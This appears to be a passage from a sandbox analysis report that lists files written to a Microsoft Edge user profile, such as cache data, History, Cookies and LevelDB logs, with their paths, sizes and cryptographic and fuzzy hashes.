SHA512 8a33512f31c84f457953c66fce31a0629d4b88a3fef44550649d15965f1a9322226c18a69ce2cf053269a0eb5f2255f9a64b5fd2f40d3e51a26225f1f2fa4ba5
TLSH
T15CD08035359B3D1DCA8FB271155455C157009B02E511552114271D14458C2565AC17FD
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c7a3142ef6da2a30832f486424b4983a162132404bbdfb07157d0960c456c271
MD5 8cb3853c5de8ddfac4ed87fe5cfaf89a
SHA1 0f20b4e923a6faf033203262e56f680ec64413e1
SHA512 e50fb9cf494bdfa1d02756fbda20eaeb38905d2931ca4797ffa29c8d3fdbdd213faaa3d495c3559b3099698cc1c2b94602bf1387de51a508bdf118f4df7e263b
TLSH
T161D08C36369B3D2DCA8FB2721A58A6D19B009B02E612592124271E28498C2AA5BC07FD
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 72a43fbaed1cd4a89462ff759b5bb2f6f6d1a7a9c08002937c809c101fc685e4
MD5 b04c9bc22d86d65999036cf784bd7a42
SHA1 74f3b96e34181e491a9fd238877d82f72fce321d
SHA512 9bbf9224f5546df81a26e79932518e2c3bea2fc0e37127e4af1f02d1a5543680b5d9370365c28b8bb5427b3bb4f27eb12737d158490216ff77859483f95a6b00
TLSH
T189D02B316CED4C23C08CA27C0057004117517400EA1040401221504808082414281399
MD5 SHA1 SHA512 TLSH

Submit Download

2b77b9c3-c7f4-4bbb-911b-84a8a5a36bdd.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\2b77b9c3-c7f4-4bbb-911b-84a8a5a36bdd.tmp
Size 23KB
SHA256 a8861efad7f98097812600859ec5e44366e0a8c1da546406f755d2723753aca8
MD5 587fee2bacaa0416085145b8333518dd
SHA1 2a5e392cf1c46c8fbb256d7813c3dcbce767ad3c
SHA512 4268da659b93829c8ae580b5240b548c8c56e3a2a6f880cac32adfe31f8960d1e0ee690c409bf456b1b969b9570df6635eb169d76b0be31dd84bc32a6cec5a12
SSDEEP 384:/7fnhUVfCtg6UFfCwKhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OVXb9kMR6grocbT:/jnhUJWg6cfCw8F1+UoAYDCx9Tuqh0V2
TLSH
T1CEB2EB2B644CCB7E9FC00AADDC196F976D9802C796988D4047FE994C03C77EE911A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3dc33e7d-27eb-44b9-a172-0726b9143028.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\3dc33e7d-27eb-44b9-a172-0726b9143028.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

5a7a7676-33d4-49fe-8592-4515a87ffb33.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\5a7a7676-33d4-49fe-8592-4515a87ffb33.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5c73c2a3-da52-4419-9dc0-072f360ac130.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\5c73c2a3-da52-4419-9dc0-072f360ac130.tmp
Size 12KB
SHA256 7c7c99ec3fb82545e495c0942c591fd3672e51056338a41b36e3c93952be4100
MD5 472727b701bc5bbb1ec9dc59c83db466
SHA1 666e2739201d8f493c7e92d796ad54dab0b7c5b4
SHA512 f451a5aa117fe909c40255054f12666f240f55820a5c83101696a01034223880d024e6677378e403982ed549aed8da368141aa964ef696215d695af35d02051c
SSDEEP 192:sxRGLOY/fesXsWpVtYN2bzoA8pq2/g6+WNmYDQ/YSzBiMGoIgtJ:sxRGSY/fesXsWvtsBR/5i/L3
TLSH
T19642D715A928A97B8CDBD21DFB567F63D2F95032A0D11E08E6FC9A1C01E76DD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6e513925-0872-4d1e-b5f8-1708d8b2cf7a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\6e513925-0872-4d1e-b5f8-1708d8b2cf7a.tmp
Size 12KB
SHA256 159f2bf9e1353f75b84b8d3e9860f5ad36de731556d3a003375ce880f117c058
MD5 930ad25af72d0edada8ab772067c35e2
SHA1 73f054c1d24ebeb4d311c4f71b454e1ff31d8ba9
SHA512 15a751143438c4ebf85276e33ba34a0e8f7871941fca79dd46ac217c50751e1ff323734ff14266db3ded023f2544f700f1e1d54083b39e326cad1beb0c8b45ec
SSDEEP 192:sxRGLOY/fesXsWpV9bYN2bzoA8pq2/g6+WNmYDQ/YSkBiMGoIgPJ:sxRGSY/fesXsWvpsBR/5i/SR
TLSH
T1BE42C715A928A97B8CDBE21DFB567F63D2F95032A0D11E18E7FC9A1C01E76DD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

80f07d4a-d626-4754-917f-5292f34a37ae.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\80f07d4a-d626-4754-917f-5292f34a37ae.tmp
Size 10KB
SHA256 2875e01c67f0f47ce8c313ff390d2b2ad0adb77976a2cc9244eeb39696dc3584
MD5 9a1bba04f90ef7f544058196f76b6f2c
SHA1 7498d45a55bbbe8107ee9ca3ed7fcac7d6db296e
SHA512 0d8a154b5ff0b264101d6736fe46a7760b64071d50c40910e45384a345d2acece3d0b04285e1d450406a95a12a284030213b860fdcb8a0061011a3ceb478fb32
SSDEEP 192:sxRZmOY/fescMzoA8pq2/g6+WNkDQ/YunwiCGoIgIJ:sxRZhY/fesc9R/5v/ys
TLSH
T168328516A928A93B8CCBE21DBB55BF63D2F95032A1911F58F6FC961C04EB6DD120740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsSiteData

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsSiteData
Size 28KB
SHA256 6bd856d68d3a2de856e64d766e2b9baacbe909d793087e84880050cb36bab1e1
MD5 faa1297eb819d33082266d374c1d492d
SHA1 91a6155f8d8c05c277e8460a7268de023f8ceec5
SHA512 120a94377078e09c960d070f09a417479708753b708a3bb148c118fa48faf12d85352317712b9d95b59d15cf5c90f1c0490f703ee4524c6bcd7f1c427e499ef3
SSDEEP 12:TLiqiw5xT5SmKT5Si8wT5SislpXUUfzBW8ybwaW2b8wAs76uvsUkHZ6HFxOUwa52:TLiq5byqkiXBzlRr6hkc6UwccI5fBG
TLSH
T149D29B8A5F32E951CAE0D63BB0C0866A9B34A2198BC26D531B1110328FC3401983B47D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 4258022422349ea2e70b8f03cd7318f4cc81bd5a18142f320c2eba763113f7b0
MD5 203a670e2bb272f5d48a828d4173b0ed
SHA1 ad65c390900cebe16fd074cff75b5cfe29ee8f03
SHA512 123943ba07c94c86ee9d4770c31a61eb7af60d307edffac0ebb27646b2556de1dbc723de6532ed0c7f67de6d317318ce117c4ee19f07eb95aa953a3944e3c913
TLSH
T1BEE022A9CC22BC371EFE871C6064474AE71503966B91891F3A3D964CCFB173A01868BC
MD5 SHA1 SHA512 TLSH

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 9a1ba97883c6b037c6522272e58b4bcc89ed44d4a3adc50dce3513c6d879d8db
MD5 57423ff1f1585396ba1793ec539422af
SHA1 3e86933b9a4d3456ab75b30e579696847ddfa612
SHA512 ae89c1f4198863b60ec3557dcae21dcd377811796fdca636eec4ebafa1d6e7bf0db960d9f7091ce40a9a3f4d6539dd61ec91d4c15df09919e1d2d0b2579264c1
SSDEEP 192:5OLPCcWvf9r6icM54cikrzZZFDRPnqZ+g+a5E:UYf9r7P4cikrzZZhFg+/
TLSH
T13A13EA3E33991F07E6C376BC40031F3A5FF698B5D8E04DA35AB6F9299A18B01790E156
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 4ada5d3940be5d8372dbc11e5d0880d3ac61078e6fc7fe32e1eebede7922ecc7
MD5 60de260882b49f735c7a206eb04f0cae
SHA1 7fa9bbe9b517b4f4cce3130545cd85d6a7f44420
SHA512 b63f77a9f0f8c148fd15bcdc1cf6d3bd5845543f76d17f0dcec0de24fa47aea1be53eba87fc04213fd7793e609630ce720a3e3099618d99415863e8640ba3150
SSDEEP 768:eANX7o5vL/yLyML/s/ni9+HCR6sNKOr05RmbU1UQQ9Ps/oU4gCrRwwf6I97I:dgvL/yeML/sRijZQUtwwL7I
TLSH
T193444EF71951611BCBA862F5E2133E3DC2B7456E7CD1FCA9E1788C812825F31B2B9A44
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_2
Size 1.0MB
SHA256 55a1d5d6f47f7ab795c5634ca3ece3ccfac46b97bb5f0ec6a04ebfc55ded0ad3
MD5 67461a27ba37c03cde2321b967d1c809
SHA1 13a7b617957c86a0a892c63dd91150dabcaad447
SHA512 cd27e9a5bc7af69625f27262ec5cd614c669cdfb995d29bcae079e9221e90bb7e99da9c8cccc988a4c2608ee205db66088d8ed9bb4a847b9436cc8717f015539
SSDEEP 3072:Dv9G+0WDH8FIPL6Mv4PXveiOKH8rfouodTUtBFnB:DQM2MA/vemKPtBh
TLSH
T1F8254AEECB682C82DB6B8770B0E0DD077E702182B69DD0D39944C5D897D6B8175E82BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_3
Size 4.0MB
SHA256 a527a06f374351e34099290d4e2e5f2098c5be8ab2664c64b0a44329a8f23948
MD5 0fa63187589d7adcae42a922c975a108
SHA1 1b26943416cf4c1c7fcb87ded08392be9ead4e26
SHA512 99cc0bc3f099b6ee240893b872866138952f4e680073e778fedc92dc80f657ea75755805c5433a682cf566714872eb3a82a12d93186d3f21958f8d5ef03e596f
SSDEEP 12288:aijr364ZoDqG23HbyjFk8fbbJy2fqNQXxQCIFxnowD5p9ooGqTDKa9Jo8dGagHwe:BD2ogYtGOFZF1kK3kXJ8z4zapNov
TLSH
T104166CEDCA7859C3CD62A930B4F0E9477C7413C3F955C1E2889CC584026BBC5BBAA769
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 3KB
SHA256 5e05e95b1eb0d8005b86a61dfb95ee8919a00fff0c0a7fd12aaae93a3156f5d0
MD5 ee64ebc8442ab22385218efc3972d65e
SHA1 73eca55152d2460297558c15b00ea68eff31a72d
SHA512 34dd4671551044d24a90d4390607915459c2a64212254743f3e71916ee7a1fba2637fe8bd1d240aeaee9a842dc761ff567593e6b480e40826ba07293bd752098
TLSH
T1C5610B82934C8FAFCB5F367896D192FB363858F194FB2E46209DE47B7C4A3657154000
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 4671ed4ce208d030ed2aa7ecf1ddc525286634beb9022652b900153121665ecf
MD5 3aa9ea1243ccfee4a00c5244bd37caba
SHA1 3175167b2a1de9299028c52a2e14861bccfa06b6
SHA512 90890d986fa078915bb8d1823aa09388dcb43e5e793e3df8ba9a70d2e2706bb95e7052a68bfae8c25b298da2d3d344a0840d4a0a09435dce8efc34c9ddf55df1
TLSH
T151612B82934C8FAFCB5F3678A6D193FB3A7848F1A4FB2E46109EE57B6C4A3217154040
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 b56aba2d7b1549f9df48a9c82681dec73d2cc4e9669685b05466b447e0180fd0
MD5 47bfa3b202fe0cdee03fb27ad474dd74
SHA1 be93107673f7cab50f9560b7ecc92be498773975
SHA512 a492d6ac477a5a5b3e7c27e1416ba1629947af84ae4a64969d2a4a6d95aacbf98463bf69271f945927bc538da9a0a00c3452093b844c3c8cc6cb9bef37aef060
TLSH
T13F611882974C8FAFDB5F377896D192FB3A3864F1A5FB6E06109DE47BAC4A3293004040
MD5 SHA1 SHA512 TLSH

Submit Download

0f76d3d1-0e85-40b2-a811-cdd28d620c47.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\0f76d3d1-0e85-40b2-a811-cdd28d620c47.tmp
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG
Size 343B
SHA256 58d4c43013ef58475ee44778e49502ecb9e3f7ad161939bd9ee76184d161c6ed
MD5 0abd55a2f584c96e82e31bd95cc7594b
SHA1 58e19d0efa675c6abbf998215668d89bf86fc9db
SHA512 1c12718c08d05002e9dc747132e3dc2409dca4636f0b7b83252ff3874cfae554453fc8cef542f84460d4449b52282261f53169fd277c357a331159c7a5561990
TLSH
T14BE0DFD4A4CBC1AF662838C7222CAB4C92813662D7C27E976B00CCC0774F012B2A2686
MD5 SHA1 SHA512 TLSH

Submit Download

EdgeHubAppUsageSQLite.db

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db
Size 32KB
SHA256 6cd12a8fe182a0ab95bc79eee5e9de48cd26e4000cde8750336d7198e0c8639c
MD5 cdde50b738c0839a82358dc2e60407db
SHA1 39cfa3c2a7d17a854e174f23edfe19e3033a0d1b
SHA512 40e53c213b78071b6e8d729bb5d89513b16a36409a910b44029ec153c006ac1dde0e39a23c75a51718b57819334f59d7546f6daddcefe7311242cbdffd4235e9
SSDEEP 24:TLZHDDNzWjJ0npnyX7yNUs9vb7OkIbzXagfj2ZQN:TdD4jJ/0UC+lf5KY
TLSH
T11AE2A04C3E21F511C4ED733CA0D2C5D09EBC647C478DB67142386CA68D52AA2F49E55E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log
Size 342B
SHA256 39dfdec86949f152a1471442545245ac5f3372b56428a6f61dffac0a3ec159e7
MD5 829a3c6987490c82e6ba954662c1d61b
SHA1 3799630075c4e24b21e810bb5896dd5ecb96c9b5
SHA512 0fe38650c2f79854b11bb4f6564fa45639e74cf8e644f7913c55cc92ee0ebe58c20307360aa83432e6521c046c39ccf2d2e1098695cae563817d0f4af593e30a
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG
Size 322B
SHA256 13c0a041bf2e3ee902b6e60ec86645fb96db581aab83a3ab703acbc2e3f7f41f
MD5 dfcfee2bc9bb4f5110cfad27c3fc851d
SHA1 a794bde2536d7e497ea3cdb6122ccf17960cf73e
SHA512 57640f2155f17fba94c649cb44eb60318881c23caffbb1081d309153d182d77967a2ed21d9a2c7140ad0403dd07dcd8705f0b9da995d888d22e1325515429d94
TLSH
T132E086D405CAC22A919CB8D7426C630CCBE27456EB863E576B49D881628BA45A2D76C0
MD5 SHA1 SHA512 TLSH

Submit Download

ExtensionActivityEdge

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityEdge
Size 32KB
SHA256 475f12864892aa7b74be2630191c6d8f0223c403e99ba88c526ed36a19ab91bd
MD5 eec0746e532e1aa3315a9bcbaaec4a2e
SHA1 b3092a8c10c8f3ae716f6e3bc8beec6eccc0e4d4
SHA512 dbb680492930aaf08078604ab14d0d1e63853a735d0a896644c8eb4d4ed380aa94f0cc9f573a04a7abc1c06fa1ad335a082b07b9242e5b463f1c06605f0a2bbf
SSDEEP 24:TLlWK3iOvwxwwweePKmJIOAdQBVA/kjo/TJZwJ9OV3WOT/uReQQ:TWm+/9ZW943WOT/
TLSH
T156E24B2A5E7C7121CD667136AC2194665CB910DA977336F23EE000796F8228BC535CEE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dasherSettingSchema.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.111.1_0\dasherSettingSchema.json
Size 854B
SHA256 6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6
MD5 4ec1df2da46182103d2ffc3b92d20ca5
SHA1 fb9d1ba3710cf31a87165317c6edc110e98994ce
SHA512 939d81e6a82b10ff73a35c931052d8d53d42d915e526665079eeb4820df4d70f1c6aebab70b59519a0014a48514833fefd687d5a3ed1b06482223a168292105d
TLSH
T1B1014C25C354799B04C7627ABCA95001E630818B027665707DDE4D7C6F2E8A700BF37E
MD5 SHA1 SHA512 TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
Size 224KB
SHA256 9a2722747b9b055e35799e400ad7cd1b61f9da06636126f0fec49dcecf7b3001
MD5 b15b7e6fa6f8c2a45335f6dbd651e0a9
SHA1 704c8b95e1ed7ffe55a344c5184675b48624cbab
SHA512 b7990ce8554f4424303a144cdfb40983a5369f501716beab4f914b9c94e23f1e6ca29eb38a3a49d09d92e09a34e572cc91ca0426f3b8fa1229e7dba36f0e98ba
SSDEEP 192:ryhSUyH+bF+UI3iWGVoWN3qL/fxVVV63:rylyIkUI3ijVoWN3qL/ZA
TLSH
T18D241E5F5F242712CDBD913668EB44A35C7CF03F8B5226DA6C6114B4CEE3656A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Size 334B
SHA256 4427a9638ced1cab3d2c9a3a7745f34d2ae9c0c89b98e2acb743dbcb3cc29a6f
MD5 129c7f8046a8c1884ea5aaf24641f200
SHA1 833e713f9eecabaf8bdcc9366a010ff4edcae9c7
SHA512 15cdbb8ddd7628a1b3e59c491ddd9f3641d55038138b953d6538471983b5b92e531fdc04484d6406e26412d7e81e857ac8737fdcfb58bdc36b4c73d2596f50ae
TLSH
T159E0D8A045CEC12A510CA0CB021C7F0CD7A1245ADB857F467B44E980B1CB144E2C31D1
MD5 SHA1 SHA512 TLSH

Submit Download

0580b575-1d34-45c4-a2fa-f84e22d91b8e.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\0580b575-1d34-45c4-a2fa-f84e22d91b8e.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

38ed8338-9a6e-44db-ba66-199db78d6c42.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\38ed8338-9a6e-44db-ba66-199db78d6c42.tmp
Size 2KB
SHA256 86e1039ff83b21c0c246ef4d46bd67dfa2288f23a33dd61195022b0e6504caf2
MD5 8bdbbeaafaeea8d199d3c5f451cfed36
SHA1 bd61e1ea656996addd546937c898e4aae5e34b96
SHA512 7a7164a48cae3b74d9084a40f8898fd4aac2d67f6f7b72955adaeb21843b6c151fdb93f431d7b1a8600624c81c030bdb35d56472210cd30307a276952f8e6a84
TLSH
T16E519EF387F4822DEA1285F0AA18AE2FCE1D0428432C7876C9E46E1793F3471E141B5E
MD5 SHA1 SHA512 TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Size 24KB
SHA256 39eac9549562cbc225458c056a76a026caf6dde4614160cabb785cfa82762dc2
MD5 e6da894e1e5811aa13fe94f49e20e39e
SHA1 ca68a379c916f5a84735bddf110a7b359b7313b6
SHA512 ce19ba7ff7c40175c0413332af117f3ef5c5eaebcd8f424dfb12c7e7cb4fea1fbab7bcdc6dfed8106d87f864bd2b92e09a31c21926a60814594daaf8a3f534ff
SSDEEP 24:TL00k/bXYFpFNYbatyTM2Wkweka60y6UwbdQ9rPWTZ6UtCvd5NArvbCnW:Txk/LopFMaty423w/a9NUuTfGHNmx
TLSH
T114B2C04D1F302261C0F44B3AEDD189A72E7C211C93A32659AA1410F3CEE256BB6191AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Reporting and NEL

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL
Size 36KB
SHA256 46febc241d4511f115fd0f1d59bf8115e1ab239acfcb304d0ffcc9d512da5ab3
MD5 d018effca5108b9268b19d524b170f7d
SHA1 ebeee8ce57d681f045fc8315b94deaee4d77b89e
SHA512 7a0277538a72fc935385581313993b5ce87ed8c48dd3a1e10d4fa2b4de9079c826ae47f3fc6d989a9931dd2bf49718b0963b439ad9c6f9e4cf46fa5cc5b6da1e
SSDEEP 96:OIEumQv8m1ccnvS6hUTyp5WCaMWAnhrpJdo:OIEumQv8m1ccnvS6hUGp5WyWITe
TLSH
T157F2EBFA17276204E89444B0D404AB8FAF16004F87B6B6EC76D41BE3F7A25E2B178759
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cd049355-17a4-4d3e-952d-87baebf7b021.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\cd049355-17a4-4d3e-952d-87baebf7b021.tmp
Size 2KB
SHA256 0b3fdb6862987f877f5fd2d89aee17d26954be2416ec62eecfb1ed45607fcca5
MD5 029ec6a18553307d207e21c30f6b00b1
SHA1 6f2a7f5181f8e5907e304edeba80d47261aed12c
SHA512 cbbc11d1717cb0384dcad453e765723619e3e6d5b659ade21bcaeb4f61c793e3a678d3045f59423de7b3315434fbc7711f6be78387077315187a98a7818928f7
TLSH
T18A519FF3C7F8866DD91255F0AB18AE2FCE1D0518432C3D66C9E4AE1B93F2471E141A5E
MD5 SHA1 SHA512 TLSH

Submit Download

f1768d84-d3e7-43ad-945b-e7c46c3ed2c0.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\f1768d84-d3e7-43ad-945b-e7c46c3ed2c0.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Size 338B
SHA256 c7bcd9d3e51cf84ea21f83d799032b0dc8b3151b70ddba76ecce77fb8bef675e
MD5 9e27076da51619dc526a170132d62f18
SHA1 edf0ee330cc5d32c711bf4306b903b6d4f4cf7b3
SHA512 0e2ed212aba76d098cd492d12462bd127379284f3c1c506e2df90f831a10c542daf1f158458da48d08424096128a5b29e64e3a2af5ad9861e476585e8678c64f
TLSH
T1DAE026A086CFC1BEA01E20C7076D970C93E57427E3C4BE4A7F84CA90628B944B2D3190
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log
Size 112B
SHA256 2502f0ac8201f9b44496a1bb472240d15a143226da2d61e2e84f710067340712
MD5 fd4f5c49da8eb7ca5c625039fce30b38
SHA1 a92db580967a0d349d1d5b0bd989412339ceac07
SHA512 fb37fcb978034b36a67bc8f8ec0302babed41881d91f1d6ab2590dafb6bb70305405964939688c452442af9713fe134529df83e04932f0b07630455bba472de3
TLSH
T1ADB012847B009207D5D904B24754EFC06301E09E04504D93CC445FB41D0B65C3F01CC1
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Size 347B
SHA256 2e11639fd8f66708d6d30a1061fa850a3ffa8537229e5fbfb7c9f08b35d4e27f
MD5 8057fcd9f6a296a3687fb601ab72910c
SHA1 de7bda1c95db53f78d3b7da55bbb15391ba838d9
SHA512 0282b1ab9940d86b9773501222d0be0c5ffaffd8080ba4f82dc25cd6f811a7b793b7d47204900a443f4a682234a1a3c7461ee10eb2529a0e0de2a26895b89820
TLSH
T189E0D86025CBCE7B61CF20DB021DE70C92A37422D7C5BA697B08D540634F540F283250
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync App Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log
Size 175B
SHA256 80d1388b9a7150eb0291175fe693dd7b6bce910c3e4fff51e94841d31d771dbe
MD5 cb63c64828a27af7253afb7c7d986654
SHA1 8a54aeb86f79cc69e6f11278d874cebd328ae466
SHA512 e0dbdd6931c9272e0b52bb2ef7895121f6324379f584899343342a057737a9837cc476842ea781a1de5c17a20c06e0a7d24c0ed6ea41fdd95bb99296e8810f9a
TLSH
T135C09BD55F903023FDCA5D3D0DAB53041720C4752F74CF57D28430901C0A285FF61145
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Size 323B
SHA256 2974df355032889eab6d99b096f95f65b2f3deb86ca226669f18fac98642c180
MD5 53523904106fe01d784626d2665dad8a
SHA1 1f51788b13e38f2ebe592cb58cc04612eaef55eb
SHA512 fb9a35665f3ed659bca9b21ac7919d9794f80f206bfe663da0442d66778e99003b6ed534ebf3ab085547872256937b68b90c71af69f3eb055fe2a09870a5462a
TLSH
T138E026B056CBCA7A548DB0C7026CAB0CA3F1781A93C1BB8ABB088540A24B510F2F71D0
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 5304ba46c762a2d2b8acdeb59ec5d6b82d3cf4632f83ff5fb138db98ffa109ff
MD5 5b6e6216128cbe2335aa3dd54eaf737f
SHA1 cb1ff5c2448c0ba389ad6861e5ad4052184d1772
SHA512 023098e98ff18af64a586bba051289f56be0237e0d4b6b087389dd7d30212fc19e2e29e48e76a5ec880acec1a129d92a2e802da5f85166c8b1a7e2d5d1bf2441
